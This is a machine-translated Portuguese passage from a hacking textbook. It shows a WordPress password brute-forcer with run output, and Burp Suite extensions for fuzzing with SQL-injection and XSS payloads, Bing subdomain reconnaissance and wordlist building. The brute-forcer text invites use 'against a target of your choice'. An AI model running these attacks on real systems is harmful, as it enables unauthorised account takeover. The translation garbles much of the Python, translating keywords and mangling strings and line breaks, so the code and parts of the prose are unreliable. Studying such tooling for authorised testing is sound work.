três etapas.
Na fase de inicialização 1, inicializamos um objeto da Sessão a partir do
solicita uma biblioteca, que tratará automaticamente nossos cookies para nós.
Nós
depois faça o pedido inicial para recuperar o formulário de login. Quando
temos o conteúdo HTML bruto, nós o passamos para a função get_params,
que analisa o conteúdo dos parâmetros e retorna um dicionário de todos os
elementos do formulário recuperado. Depois de analisarmos o HTML com
sucesso, substituímos o parâmetro username. Agora podemos começar a
fazer um looping através de nossos palpites de senha.
Na fase de loop 2, primeiro dormimos alguns segundos em uma
tentativa de contornar os bloqueios de contas. Em seguida, abrimos uma
senha da fila e usamos
para terminar de preencher o dicionário de parâmetros. Se não houver mais
palavras na fila, o fio desiste.
Na fase de solicitação 3, postamos a solicitação com nossa dicção de
parâmetros - ary. Após recuperarmos o resultado da tentativa de autenticação,
testamos se
a autenticação foi bem sucedida - isto é, se o conteúdo contém a cadeia de
sucesso que definimos anteriormente. Se foi bem sucedido e a cadeia de
caracteres está pres- ent, nós limpamos a fila para que os outros fios possam
terminar rapidamente e retornar.
Para embrulhar o forçador bruto do WordPress, vamos adicionar o
seguinte código:
98 Capítulo 5
se nome == ' principal ':
palavras =
get_words()
1 b = Bruter('tim', url)
2 b.run_bruteforce(words))

É isso aí! Passamos no nome de usuário e url para a classe Bruter


1 e forçamos a aplicação usando uma fila criada a partir da lista de
palavras 2. Agora podemos ver a magia acontecer.

Hackery na Web 99
HTMLPARSER 101

No exemplo desta seção, utilizamos os pedidos e pacotes lxml para fazer pedidos
HTTP e analisar o conteúdo resultante. Mas e se você não conseguir instalar os
pacotes e, portanto, tiver que confiar na biblioteca padrão? Como observamos no
início deste capítulo, você pode usar urllib para fazer seus pedidos, mas precisará
configurar seu próprio analisador com a biblioteca padrão
html.parser.HTMLParser.
Há três métodos principais que você pode implementar ao usar a classe
HTMLParser: handle_starttag, handle_endtag, e handle_data. A função

handle_starttag será chamada sempre que uma tag HTML de abertura for

encontrada, e o contrário é verdadeiro para a função handle_endtag, que é


chamada toda vez que uma tag HTML de fechamento for encontrada. A função
handle_data é chamada quando há texto bruto entre as tags. Os protótipos de
funções para cada função são ligeiramente diferentes, como a seguir:

handle_starttag(self, tag, attributes)


handle_endttag(self, tag)
handle_data(self, data)

Aqui está um exemplo rápido para destacar isto:

<title>Python rocks!</title>

handle_starttag => tag variable seria "title"


handle_data=> data variable seria
"Python rocks!" handle_endtag=> tag variable
seria "title"

Com este entendimento básico da classe HTMLParser, você pode fazer


coisas como formulários parciais, encontrar links para spidering, extrair todo
o texto puro para fins de mineração de dados, ou encontrar todas as imagens
em uma página.

Chutando os Pneus
Se você não tiver o WordPress instalado em sua Kali VM, então instale-o
agora. Em nossa instalação temporária do WordPress hospedado no
boodelyboo.com/, pré-selecionamos o nome de usuário para tim e a senha
100 Capítulo 5
para 1234567, para que possamos ter certeza de que funciona. Acontece
que essa senha só está no arquivo cain.txt, cerca de 30 entradas abaixo. Ao
executar o script, obtemos a seguinte saída:

(bhp) tim@kali:~/bhp/bhp$ python wordpress_killer.py


Ataque com Força Bruta a partir de http://boodelyboo.com/wordpress/wp-
login.php. Concluída a configuração onde nome de usuário = tim

Hackery na Web 101


Tentando nome de usuário/senha
tim/!@##$% Tentando nome de
usuário/senha tim/!@##$%^
Tentando nome de usuário/senha
tim/!@#$%^&
--snip--
Tentando nome de usuário/senha tim/0racl38i

Bruteforçando o sucesso.
Nome de usuário é tim
A senha é 1234567

feito: agora a limpeza.


(bhp)
tim@kali:~/bhp/bhp$

Você pode ver que o script é bem sucedido em força bruta e entra no
console do WordPress. Para verificar se funcionou, você deve fazer o login
manualmente usando essas credenciais. Após testar isto localmente e ter
certeza de que funciona, você pode usar esta ferramenta contra uma
instalação WordPress alvo de sua escolha.

102 Capítulo 5
Hackery na Web 103
6
E X T E N D I N G BU R P P R O X Y

Se você já tentou hackear um aplicativo web,


você provavelmente já usou o Burp Suite
para executar spidering, proxy de tráfego do
navegador e realizar
outros ataques. O Burp Suite também permite
que você crie suas próprias ferramentas, chamadas de
extensões. Usando Python, Ruby, ou Java puro, você
pode adicionar painéis na GUI Burp e construir
técnicas de automação no Burp Suite. Nós aceitamos
vantagem desta característica para escrever algumas ferramentas úteis para
a realização de ataques e reconhecimento ampliado. A primeira extensão
utilizará um pedido HTTP interceptado de Burp Proxy como uma semente
para um fuzzer de mutação que funciona em
Intruso de arroto. A segunda extensão se comunicará com o Microsoft Bing
API para nos mostrar todos os hosts virtuais localizados no mesmo endereço
IP de um site de tar- get, assim como qualquer subdomínio detectado para o
domínio alvo. Finalmente, construiremos uma extensão para criar uma lista
de palavras a partir de um site alvo que você pode usar em um ataque por
senha de força bruta.
Este capítulo pressupõe que você já jogou com Burp antes e sabe como
prender pedidos com a ferramenta Proxy, bem como como enviar um
pedido preso para Burp Intruder. Se você precisar de um tutorial sobre
como fazer estas tarefas, visite PortSwigger Web Security
(http://www.portswigger.net/) para começar.
Temos que admitir que quando começamos a explorar o Burp Extender
API, levamos algum tempo para entender como ele funcionava. Encontramos
um pouco de fusão, pois somos puros Python e temos uma experiência
limitada em desenvolvimento Java. Mas encontramos várias extensões no
site Burp que nos ensinaram como outras pessoas tinham desenvolvido
extensões. Usamos essa arte prévia para nos ajudar a entender como
começar a implementar nosso próprio código. Este capítulo abordará alguns
conceitos básicos sobre extensão de funcionalidade, mas também lhe
mostraremos como usar a documentação API como guia.

Instalação
O Burp Suite vem instalado por padrão no Kali Linux. Se você estiver
usando uma máquina diferente, faça o download do Burp em
http://www.portswigger.net/ e configure-o.
Por mais triste que nos faça admitir isto, você vai precisar de uma
instalação Java moderna. O Kali Linux tem um instalado. Se você estiver em
uma plataforma diferente, use o método de instalação de seu sistema
(como apt, yum, ou rpm) para obter um. Em seguida, instale o Jython, uma
implementação Python 2 escrita em Java. Até agora, todo o nosso código
tem usado a sintaxe Python 3, mas neste capítulo vamos reverter para
Python 2, já que é isso que Jython espera. Você pode encontrar este arquivo
JAR no site oficial, https://www.jython.org/download.html. Selecione o
instalador autônomo Jython 2.7. Salve o arquivo JAR em um local fácil de
lembrar, tal como sua área de trabalho.
Em seguida, ou clique duas vezes no ícone de Burp em sua máquina
Kali ou execute Burp a partir da linha de comando:

#> java -XX:MaxPermSize=1G -jar burpsuite_pro_v1.6.jar

Isto acenderá Burp, e você deve ver sua interface gráfica de usuário
(GUI) cheia de abas maravilhosas, como mostrado na Figura 6-1.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Figura 6-1: Suíte de Burp GUI carregada corretamente

Agora vamos apontar Burp para nosso intérprete Jython. Clique na


aba Extender e depois clique na aba Opções. Na seção Ambiente Python,
selecione a localização de seu arquivo JAR Jython, como mostrado na
Figura 6-2. Você pode deixar o resto das opções em paz. Estamos prontos
para começar a codificar nossa primeira extensão. Vamos começar a
balançar!

Figura 6-2: Configuração da localização do intérprete Jython

Burp Fuzzing
Em algum momento de sua carreira, você pode se encontrar atacando uma
aplicação ou serviço web que não lhe permite utilizar ferramentas
tradicionais de avaliação de aplicações web. Por exemplo, o aplicativo pode
usar demasiados parametros, ou pode ser ofuscado de alguma forma que
torne a realização de um teste manual muito demorado. Temos sido
culpados de executar ferramentas padrão que não podem lidar com
protocolos estranhos, ou mesmo com o JSON em muitos casos. Aqui é onde
você achará útil estabelecer uma base sólida de tra-ficha HTTP, incluindo
cookies de autenticação, enquanto passa o corpo do pedido para um fuzzer
personalizado. Este fuzzer pode então manipular a carga útil

Extensão do Burp Proxy 95


da maneira que você escolher. Trabalharemos em nossa primeira
extensão Burp, criando o fuzzer de aplicação web mais simples do
mundo, que você poderá então expandir para algo mais inteligente.
Burp tem uma série de ferramentas que você pode usar quando
estiver realizando testes de aplicação web. Tipicamente, você vai prender
todos os pedidos usando o Proxy, e quando você vê um interessante, você
o enviará para outra ferramenta Burp. Uma técnica de com- mon é enviá-
los para a ferramenta Repetidora, que permite reproduzir novamente o
tráfego da web, bem como modificar manualmente quaisquer pontos
interessantes. Para realizar ataques mais automatizados nos parâmetros de
consulta, você pode enviar um pedido à ferramenta Intruder, que tenta
descobrir automaticamente quais áreas do tráfego da web você deve
modificar e depois permite que você use uma variedade de ataques para tentar
extrair mensagens de erro ou provocar vulnerabilidades. Uma extensão
Burp pode interagir de inúmeras maneiras com o conjunto de
ferramentas Burp. Em nosso caso, vamos aparafusar funcionalidades
adicionais diretamente na ferramenta Intruder.
Nosso primeiro instinto é dar uma olhada na documentação Burp API
para determinar quais classes Burp precisamos estender para escrever nossa
extensão cus- tom. Você pode acessar esta documentação clicando na aba
Extender e, em seguida, clicando na aba APIs. A API pode parecer um pouco
assustadora porque é muito Java-y. Mas note que os desenvolvedores Burp
nomearam apropriadamente cada classe, tornando mais fácil descobrir por
onde queremos começar. Em particular, por estarmos tentando atender às
solicitações web durante um ataque de Intruder, talvez queiramos nos
concentrar nas classes IIntruderPayloadGeneratorFactory e
IIntruderPayloadGenerator. Vamos dar uma olhada no que a
documentação diz para a classe IIntruderPayloadGeneratorFactory:

/**
* As extensões podem implementar esta interface e depois ligar
1 * IBurpExtenderCallbacks.registerIntruderPayloadGeneratorFactory()
* para registrar uma fábrica para cargas úteis de Intrusos personalizados.
*/

interface pública IIntruderPayloadGeneratorFactory


{
/**
* Este método é utilizado por Burp para obter o nome da carga útil
* gerador. Isto será exibido como uma opção dentro do
* Intruder UI quando o usuário seleciona usar extensão-gerada
* cargas úteis.

*
* @retorno O nome do gerador de carga útil.
*/
2 String getGeneratorName();

/**
* Este método é usado por Burp quando o usuário inicia um Intruder

96 Capítulo 6
* ataque que utiliza este gerador de carga útil.

* @param ataque
* Um objeto de IIntruderAttack que pode ser consultado para obter
detalhes
* sobre o ataque em que será utilizado o gerador de carga útil.

Extensão do Burp Proxy 97


* @retorno Uma nova instância de
* IIntruderPayloadGenerator que será usado para gerar
* cargas úteis para o ataque.
*/

3 IIntruderPayloadGenerator createNewInstance(ataque de IIntruderAttack);


}

A primeira parte da documentação 1 diz como registrar corretamente


nossa extensão com Burp. Vamos estender a principal classe Burp, bem como
a classe IIntruderPayloadGeneratorFactory. A seguir, vemos que Burp espera
dois
métodos em nossa classe principal. Burp chamará o método
getGeneratorName 2 para recuperar o nome de nossa extensão, e
espera-se que retornemos um fio. O método createNewInstance 3
espera que retornemos uma instância do
IIntruderPayloadGenerator, uma segunda classe que teremos que criar.
Agora vamos implementar o código Python real para atender a estes
requisitos.
Depois descobriremos como adicionar a classe IIntruderPayloadGenerator.
Abra um novo arquivo Python, nomeie-o bhp_fuzzer.py, e dê um soco no
seguinte código:

1 de importação de arrotos IBurpExtender


de importação de arrotos IIntruderPayloadGeneratorFactory
de importação de arrotos IIntruderPayloadGenerator

de java.util import List, ArrayList

importação aleatória

2 classe BurpExtender(IBurpExtender,
IIntruderPayloadGeneratorFactory): def
registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks self.
_helpers=
callbacks.getHelpers()

3 callbacks.registerIntruderPayloadGeneratorFactory(s

elf) return

4 def getGeneratorName(self):
retornar "BHP Payload Generator"

5 def createNewInstance(auto,

98 Capítulo 6
ataque): devolver
BHPFuzzer(auto, ataque)

Este simples esqueleto delineia o que precisamos para satisfazer o


primeiro conjunto de requisitos. Temos que primeiro importar o
IBurpExtender classe 1, um requisito para cada extensão que
escrevemos. Seguimos este procedimento
importando as classes necessárias para a criação de um gerador de carga útil
Intruder. Em seguida, definimos a classe 2 BurpExtender, que estende as
classes IBurpExtender e IIntruderPayloadGeneratorFactory. Usamos então o
método 3 de registroIntruderPayloadGeneratorFactory para registrar
nossa classe de forma

Extensão do Burp Proxy 99


que a ferramenta Intruder está ciente de que podemos gerar cargas úteis. Em
seguida, implementamos o método getGeneratorName 4 para simplesmente
retornar o nome de nosso gerador de carga útil. Finalmente, implementamos o
método createNewInstance 5, que recebe o parâmetro de ataque e retorna
uma instância do
IIntruderPayloadGenerator classe, que chamamos BHPFuzzer.
Vamos dar uma olhada na documentação para o IIntruderPayloadGenerator
classe para que saibamos o que implementar:
/**
* Esta interface é utilizada para geradores de carga útil Intruder
personalizados.
* Extensões
* que tenham registrado um
* IIntruderPayloadGeneratorFactory deve retornar uma nova instância de
* esta interface quando necessário, como parte de um novo ataque de
Intrusos.
*/

interface pública IIntruderPayloadGenerator


{
/**
* Este método é usado por Burp para determinar se a carga útil
* gerador é capaz de fornecer quaisquer outras cargas úteis.
*
* As extensões de retorno devem retornar
* falso quando todas as cargas úteis disponíveis tiverem sido esgotadas,
* caso contrário, é verdade.
*/
1 boolean hasMorePayloads();

/**
* Este método é usado por Burp para obter o valor da próxima carga útil.
*
* @param baseValor base O valor base da posição atual da carga útil.
* Este valor pode ser nulo se o conceito de um valor base não for
* aplicável (por exemplo, em um ataque de aríetes).
* @retorno A próxima carga útil a ser usada no ataque.
*/
2 byte[] getNextPayload(byte[] baseValor);

/**
* Este método é usado por Burp para repor o estado da carga útil
* gerador para que a próxima chamada para
* getNextPayload() devolve novamente a primeira carga útil. Este
* será invocado quando um ataque utiliza a mesma carga útil
* gerador para mais de uma posição de carga útil, por exemplo, em uma
* ataque de franco-atiradores.
*/
3 reinicialização nula();
}

Certo! Agora sabemos que precisamos implementar a classe base, que


precisa expor três métodos. O primeiro método, temMorePayloads 1, está
100 Capítulo 6
aí para decidir se devemos continuar enviando pedidos mutantes de volta ao
Burp Intruder.
Usaremos um contador para lidar com isso. Uma vez que o contador atinja o
máximo

Extensão do Burp Proxy 101


nível, voltaremos Falso para parar de gerar casos de penugem. O método
getNextPayload 2 receberá a carga útil original do pedido HTTP que você
prendeu. Alternativamente, se você selecionou várias áreas de carga útil
no
Solicitação HTTP, você receberá apenas os bytes que você planeja fuzz
(mais sobre isso mais tarde). Este método nos permite fuzz o caso de
teste original e depois devolvê-lo para que Burp o envie. O último método,
reset 3, está lá para que se nós gerarmos
um conjunto conhecido de pedidos de fuzzed, o fuzzer pode iterar através desses
valores
para cada posição de carga útil designada na aba Intruder. Nosso fuzzer não
é tão exigente; ele sempre continuará apenas zunindo aleatoriamente cada
pedido HTTP.
Agora vamos ver como isto fica quando o implementamos em Python.
Adicione o seguinte código ao fundo do bhp_fuzzer.py:

1 classe
BHPFuzzer(IIntruderPayloadGenerato
r): def init (self, extensor, ataque):
self._extender = extender
self._helpers = extender._helpers
self._attack= ataque
2 self. max_payloads= 10
auto.num_iterações = 0

retornar

3 def hasMorePayloads(self):
if self.num_iterations == self.max_payloads:
retornar Falsos
outros:
retornar Verdadeiro

4 def
getNextPayload(self,current_paylo
ad): # converter em uma corda
5 payload = "".join(chr(x) para x em carga_pagamento atual)

# Chame nosso simples mutador para zumbir o POST


6 payload = self.mutate_payload(carga útil)

# aumentar o número de tentativas de fuzzing


7 auto.num_iterações += 1

carga útil de retorno

def reset(self):
102 Capítulo 6
self.num_iterations = 0
retorno

Começamos definindo uma BHPFuzzer classe 1 que estende a classe


IIntruderPayloadGenerator classe. Definimos as variáveis de classe
necessárias e depois adicionamos as variáveis max_payloads 2 e
num_iterations usadas para que Burp saiba quando terminamos de fuzzing.
Você poderia, é claro, deixar a extensão
correr para sempre, se você quiser, mas para fins de teste,
estabeleceremos limites de tempo. Em seguida, implementamos o
método hasMorePayloads 3, que simplesmente verifica se atingimos o
número máximo de iterações de fuzzing. Você

Extensão do Burp Proxy 103


poderia modificar isto para executar continuamente a extensão, sempre
retornando True. O método getNextPayload 4 recebe a carga útil HTTP
original, e é aqui que nós estaremos fuzzing. A variável current_payload chega
como uma matriz de bytes, então convertemos isto para uma string 5 e depois
passamos para o fuzzing mutate_payload
método 6. Em seguida, incrementamos a variável num_iterations 7 e retornamos
o
carga útil mutante. Nosso último método é o método de reset, que retorna
com...
fazer qualquer coisa.
Agora vamos escrever o método mais simples de penugem do mundo,
que você pode modificar de acordo com o seu coração. Por exemplo, este
método conhece o valor da carga útil atual, portanto, se você tem um
protocolo complicado que precisa de algo especial, como um checksum CRC
ou um campo de comprimento, você poderia realizar esses cálculos dentro
deste método antes de retornar. Adicione o seguinte código ao
bhp_fuzzer.py, dentro da classe BHPFuzzer:

def mutate_payload(self,original_payload):
# escolher um simples mutador ou até mesmo chamar um
selecionador de scripts externo = random.randint(1,3)

# selecione um offset aleatório na carga útil para o


offset mudo =
random.randint(0,len(original_payload)-1)

1 frente, trás = original_payload[:offset], original_payload[offset:]

# offset aleatório inserir uma tentativa de injeção SQL


se colhedor == 1:
2 frente += "'""

# encravar uma
tentativa de XSS no coletor
elif == 2:
3 front += "<script>alert('BHP!');</script>"

# repetir um pedaço aleatório do seletor de carga


útil original == 3:
4 chunk_length = random.randint(0,
len(back)-1) repetidor = random.randint(1,
10)
para _ em alcance(repetidor):
frente += carga_pay original[:offset + comprimento_da_capa]

5 retornar frente + trás

Primeiro, pegamos a carga útil e a dividimos em dois pedaços de


100 Capítulo 6
comprimento aleatório, à frente e atrás 1. Depois, escolhemos
aleatoriamente de três mutadores: um simples teste de injeção SQL que
adiciona uma única citação ao final do trecho frontal 2, um teste de
scripting cruzado (XSS) que adiciona uma etiqueta de script ao final do trecho
frontal
parte 3, e um mutador que seleciona um pedaço aleatório da carga
original, repete-o um número aleatório de vezes, e adiciona o resultado ao
final da parte dianteira 4. Em seguida, adicionamos o trecho de trás ao
trecho alterado da frente para completar a carga útil mutante 5. Agora,
temos um intruso de Burp exten- sion que podemos usar. Vamos dar uma
olhada em como carregá-lo.

Extensão do Burp Proxy 101


Chutando os Pneus
Primeiro, temos que carregar a extensão e garantir que ela não contenha
erros. Clique na aba Extender em Burp e depois clique no botão
Adicionar. Uma tela deve aparecer, permitindo que você aponte Burp
para o difusor. Certifique-se de que você defina as mesmas opções que as
mostradas na Figura 6-3.

Figura 6-3: Colocando Burp para carregar nossa extensão

Clique em Next, e Burp deve começar a carregar a extensão. Se houver


erros, clique na guia Erros, depure quaisquer erros de digitação e, em
seguida, clique em Fechar. Sua tela do Extender deve agora se parecer com
a Figura 6-4.

102 Capítulo 6
Figura 6-4: Extensor de arrombamento mostrando que nossa extensão está carregada

Extensão do Burp Proxy 103


Como você pode ver, nossa extensão carregou e Burp identificou o
gerador de carga útil Intruder registrado. Agora estamos prontos para
aproveitar a extensão em um ataque real. Certifique-se de que seu
navegador web esteja configurado para usar Burp Proxy como um proxy
local na porta 8080. Agora vamos atacar a mesma aplicação web Acunetix
do Capítulo 5. Basta navegar para http://testphp.
.vulnweb.com/.
Como exemplo, os autores usaram a pequena barra de busca em seu site
para submeter uma busca para a seqüência "teste". A Figura 6-5 mostra
como você pode ver esta solicitação na guia Histórico HTTP do menu Proxy.
Clique com o botão direito do mouse na solicitação para enviá-la ao Intruder.

Figura 6-5: Seleção de uma solicitação HTTP para enviar ao Intruder

Agora mude para a aba Intruder e clique na aba Posições. Uma tela
deve aparecer, mostrando cada parâmetro de consulta destacado. Esta é
a maneira de Burp identificar os pontos que deveríamos estar ocupando.
Você pode tentar mover os delimitadores de carga útil ou selecionar toda
a carga útil para fuzz, se preferir, mas por enquanto, vamos deixar Burp
decidir o que fuzz. Para maior clareza, veja a Figura 6-6, que mostra como
funciona o destaque da carga útil.
Agora clique na guia Payloads. Nesta tela, clique no menu suspenso
Tipo de carga e selecione Extensão-gerada. Na seção Opções de carga,
clique no botão Selecionar gerador e escolha o Gerador de Carga Útil
BHP a partir do menu suspenso. Sua tela de Carga Paga deve agora se
parecer com a Figura 6-7.

104 Capítulo 6
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Figura 6-6: Intrusor de arroto destacando parâmetros de carga útil

Figura 6-7: Utilização de nossa extensão de fuzzing como gerador de carga útil

Agora estamos prontos para enviar pedidos. Na parte superior da barra


de menu Burp, clique em Intruder e depois selecione Start Attack. O Burp
Extensão do Burp Proxy 103
deve começar a enviar pedidos de burp, e em breve você poderá
rapidamente ver os resultados. Quando os autores executaram o fuzzer, nós
recebemos a saída mostrada na Figura 6-8.

104 Capítulo 6
Figura 6-8: Nosso fuzzer funcionando em um ataque de Intruso

Como você pode ver pelo aviso ousado na resposta à solicitação 7,


descobrimos o que parece ser uma vulnerabilidade de injeção SQL.
Mesmo que tenhamos construído este difusor apenas para fins de
demonstração, você ficará surpreso como pode ser eficaz para conseguir que
uma aplicação web produza erros, revele caminhos de aplicação ou gere um
comportamento que muitos outros scanners possam perder. Mais importante
ainda, conseguimos fazer com que nosso exten- sion personalizado
trabalhasse com os ataques de Intrusão de Burp. Agora vamos criar uma
extensão que nos ajudará a realizar um reconhecimento estendido contra um
servidor web.

Usando Bing for Burp


Não é raro um único servidor web servir várias aplicações web, algumas das
quais você pode não estar ciente. Se você estiver atacando o servidor, você deve
fazer o melhor para descobrir esses outros nomes de host, pois eles podem lhe
dar uma maneira mais fácil de obter um shell. Não é raro encontrar uma
aplicação web insegura, ou mesmo recursos de desenvolvimento,
localizada na mesma máquina que seu alvo. O mecanismo de busca Bing
da Microsoft tem recursos de busca que lhe permitem consultar o Bing
para todos os sites que ele encontra em um único endereço IP usando o
modificador de busca "IP". O Bing também informará a você todos os
subdomínios de um determinado domínio se você usar o modificador de
busca "domínio".
Agora, poderíamos usar um raspador para submeter essas consultas ao
Bing e depois obter o HTML nos resultados, mas isso seria má educação (e
também os termos de uso da maioria dos mecanismos de busca). A fim de
Extensão do Burp Proxy 105
não causar problemas, usaremos a API do Bing para enviar estas consultas
de forma programática e analisar os resultados nós mesmos. (Visite
https://www.microsoft.com/en-us/bing/apis/ bing-web-search-api/ para ser
configurado com sua própria chave Bing API gratuita). Exceto

106 Capítulo 6
para um menu de contexto, não implementaremos nenhuma adição de
GUI Burp com esta extensão; simplesmente emitiremos os resultados em
Burp cada vez que executarmos uma consulta, e quaisquer URLs
detectadas no escopo alvo de Burp serão adicionadas automaticamente.
Como nós já o orientamos sobre como ler o documento Burp API e
traduzi-lo em Python, vamos direto para o código. Abra o bhp_bing.py e
martele o seguinte:

de importação de arrotos IBurpExtender


da IContextMenuFactory de importação de arrotos

da URL de importação java.net


de java.util importação ArrayList de
javax.swing importação JMenuItem de
start_new_thread de importação de
fios

urllib importação
json import socket
import urllib
1 API_KEY = "SUA CHAVE"
API_HOST = 'api.cognitive.microsoft.com' (API_HOST = 'api.cognitive.microsoft.com')

2 classe BurpExtender(IBurpExtender, IContextMenuFactory):


def registerExtenderCallbacks(self, callbacks):
self._callbacks = callbacks self._ajudantes
= callbacks.getHelpers()
self.context = Nenhum

# montamos nossa extensão


callbacks.setExtensionName("BHP Bing")
3 callbacks.registerContextMenuFactory(self)

retornar

def createMenuItems(self, context_menu):


self.context = context_menu menu_list
= ArrayList()
4 menu_list.add(JMenuItem(
"Enviar para Bing", actionPerformed=self.bing_menu))
retornar menu_list

Esta é a primeira parte de nossa extensão do Bing. Certifique-se de


colar sua chave Bing API no lugar 1. Você tem direito a 1.000 buscas
grátis por mês. Começamos definindo uma BurpExtender classe 2 que
implementa a interface padrão IBurpExtender, e a IContextMenuFactory, que
nos permite
fornecer um menu de contexto quando um usuário clica com o botão
direito do mouse em um pedido em Burp. Este menu exibirá uma seleção
"Enviar para Bing". Registramos um manipulador de menu 3 que determinará
em que site o usuário clicou, permitindo-nos construir nosso
Consultas Bing. Em seguida, montamos um método createMenuItem, que
receberá um objeto IContextMenuInvocation e o utilizamos para determinar
qual HTTP solicita o usuário selecionado. O último passo é renderizar o item
Extensão do Burp Proxy 107
do menu e lidar com o
clique no evento com o método bing_menu 4.

108 Capítulo 6
Agora vamos realizar a consulta Bing, emitir os resultados, e adicionar
qualquer dis- anfitrião virtual coberto ao escopo alvo do Burp:

def bing_menu(self,event):

# pegar os detalhes do que o usuário clicou


1 http_traffic = self.context.getSelectedMessages()

print("%d requests highlighted" % len(http_traffic))

para o tráfego em http_traffic:


http_service = traffic.getHttpService()
host = http_service.getHost()

print("User selected host: %s" % host)


self.bing_search(host)

retornar

def bing_search(self,host):
# verificar se temos um IP ou tentativa
de hostname:
2 is_ip = bool(socket.inet_aton(host))
exceto socket.error:
is_ip = Falso

se is_ip:
ip_address = host domain
= False
senão:
ip_address = socket.gethostbyname(host)
domain = True

3 start_new_thread(self.bing_query, ('ip:%s' % ip_address,))


se domínio:
4 start_new_thread(self.bing_query, ('domínio:%s' % host,))

O método bing_menu é acionado quando o usuário clica no item do


menu de contexto que definimos. Recuperamos as solicitações HTTP
destacadas 1. Em seguida, recuperamos a parte hospedeira de cada
solicitação e a enviamos para o bing_search
método para processamento posterior. O método bing_search determina
primeiro se a parte anfitriã é um endereço IP ou um hostname 2. Em
seguida, consultamos o Bing para todos os hosts virtuais que têm o
mesmo endereço IP 3 que o host. Se nossa extensão recebeu um domínio
também, então fazemos uma pesquisa secundária para qualquer
subdomínios que o Bing pode ter indexado 4.

Extensão do Burp Proxy 109


Agora vamos instalar a canalização que precisaremos para enviar o
pedido ao Bing e analisar os resultados usando a API HTTP de Burp. Adicione
o seguinte código dentro da classe BurpExtender:

def bing_query(self,bing_query_string):
print('Performing Bing search: %s' % bing_query_string) http_request
= 'GET https://%s/bing/v7.0/search?' % API_HOST # codificam nossa
consulta
http_request += 'q=%s HTTP/1.1\r\n' % urllib.quote(bing_query_string)
http_request += 'Host: %s\r\n' % API_HOST
http_request += 'Conexão:fechar\r\n
1 http_request += 'Ocp-Apim-Subscription-Key: %s\r\n' % API_KEY
http_request += 'User-Agent': Black Hat Python\r\r\r\n' % "Python

2 json_body = self._callbacks.makeHttpRequest(
API_HOST, 443, True, http_request).tostring()
3 json_body = json_body.split('rsnr, 1)[1]

tente:
4 resposta = json.loads(json_body)
exceto (TypeError, ValueError) como
err:
print('No results from Bing: %s' % err) else:
sites = lista()
if response.get('webPages'):
sites = resposta['webPages']['valor']
se len(sites):
para site em sites:
5 impressão('*'*100)
imprimir('Nome: %s site['nome'])
imprimir('URL: %s % site['url'])
imprimir('Descrição: %r' %
site['snippet']) imprimir('*'*100)

java_url = URL(site['url'])
6 if not self._callbacks.isInScope(java_url):
print('Adding %s to Burp scope' % site['url'])
self._callbacks.includeInScope(java_url)
senão:
print('Resposta vazia da Bing.: %s')
% bing_query_string)
retorn
ar

A API HTTP de Burp exige que construamos a solicitação HTTP inteira


como uma string antes de enviá-la. Também precisamos adicionar nossa
chave Bing API para fazer a chamada API 1. Depois enviamos a solicitação
HTTP 2 para os servidores Microsoft.
Quando a resposta retorna, dividimos os cabeçalhos 3 e depois a passamos para

110 Capítulo 6
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

nosso parser JSON 4. Para cada conjunto de resultados, fornecemos


algumas informações sobre o site que descobrimos 5. Se o site descoberto
não estiver no alcatrão de Burp - obtenha o escopo 6, nós o adicionamos
automaticamente.
Ao fazer isso, misturamos o Jython API e o Python puro em um arroto.
extensão. Isto deve nos ajudar a fazer um trabalho de reconhecimento
adicional quando estamos atacando um determinado alvo. Vamos dar uma
volta.

Chutando os Pneus
Para que a extensão da busca Bing funcione, use o mesmo procedimento
que usamos para a extensão do fuzzing. Quando estiver carregada, navegue
para http://testphp.vulnweb
.com/ e depois clique com o botão direito do mouse no pedido GET que
você acabou de emitir. Se a extensão carregar corretamente, você deve
ver a opção de menu Enviar para Bing exibida, como mostrado na Figura
6-9.

Figura 6-9: Nova opção de menu mostrando nossa extensão

Ao clicar nesta opção de menu, você deve começar a ver os resultados do


Bing, como na Figura 6-10. O tipo de resultado que você obtém dependerá da
saída que você escolheu quando carregou a extensão.

108 Capítulo 6
Figura 6-10: Nossa extensão fornecendo a saída da busca Bing API

Se você clicar na guia Alvo em Burp e selecionar Escopo, você deverá ver
novos itens adicionados automaticamente ao escopo alvo, como mostrado na
Figura 6-11. O escopo alvo limita atividades como ataques, spidering e
varreduras somente para os anfitriões definidos.

Figura 6-11: Os hospedeiros descobertos são automaticamente adicionados ao escopo alvo de


Burp.
Extensão do Burp Proxy 109
Transformando o conteúdo do site em ouro por senha
Muitas vezes, a segurança se resume a uma coisa: senhas de usuário. É
triste, mas é verdade. Piorando as coisas, quando se trata de aplicações
web, especialmente as personalizadas, é muito comum descobrir que elas
não bloqueiam os usuários fora de suas contas após um certo número de
tentativas fracassadas de autenticação. Em outros casos, eles não impõem
senhas fortes. Nesses casos, uma sessão de adivinhação de senhas on-line
como a do último capítulo pode ser apenas o tíquete para obter acesso ao
site.
O truque para adivinhar a senha on-line é obter a lista de palavras
correta. Você não pode testar 10 milhões de senhas se estiver com pressa,
então você precisa ser capaz de criar uma lista de palavras direcionada para
o site em questão. É claro que existem scripts no Kali Linux que rastreiam
um site e geram uma lista de palavras com base no conteúdo do site. Mas
se você já usou Burp para escanear o site, por que enviar mais tráfego
apenas para gerar uma lista de palavras? Além disso, esses scripts
geralmente têm uma tonelada de argumentos de linha de comando para
lembrar. Se você é algo como nós, já memorizou argumentos de linha de
comando suficientes para impressionar seus amigos, então vamos fazer
Burp fazer o trabalho pesado.
Abra o bhp_wordlist.py e elimine este código:

de importação de arrotos IBurpExtender


da IContextMenuFactory de importação de arrotos

de java.util importação
ArrayList de javax.swing
importação JMenuItem

a partir da data/hora de
importação a partir do
HTMLParser importação
HTMLParser

importação re

classe
TagStripper(HTMLParser):
def init (self):
HTMLParser. init (self)
self.page_text = []

def handle_data(auto, dados):


1 self.page_text.append(data)

110 Capítulo 6
def handle_comment(self, data):
2 self.page_text.append(data)

def strip(self, html):


self.feed(html)
3 retornar ".join(self.page_text)

classe BurpExtender(IBurpExtender,
IContextMenuFactory): def
registerExtenderCallbacks(self, callbacks):

Extensão do Burp Proxy 111


self._callbacks = callbacks self.
_helpers=
callbacks.getHelpers() self.context=
Nenhum
self. hosts= set()

# Comece com algo que sabemos ser comum


4 self. wordlist= set([["senha"]))

# nós montamos nossa extensão


callbacks.setExtensionName("BHP Wordlist")
